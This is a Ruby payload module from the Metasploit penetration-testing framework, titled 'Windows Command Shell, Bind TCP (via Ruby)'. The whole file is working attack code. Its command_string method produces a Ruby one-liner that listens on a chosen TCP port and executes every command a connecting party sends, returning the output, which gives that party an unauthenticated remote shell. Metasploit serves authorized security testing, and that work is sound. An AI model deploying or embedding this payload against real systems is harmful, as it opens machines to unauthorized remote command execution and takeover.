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bind_ruby.rb
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bind_ruby.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 128
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Bind TCP (via Ruby)',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
"ruby -rsocket -e \"s=TCPServer.new(\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end\""
end
end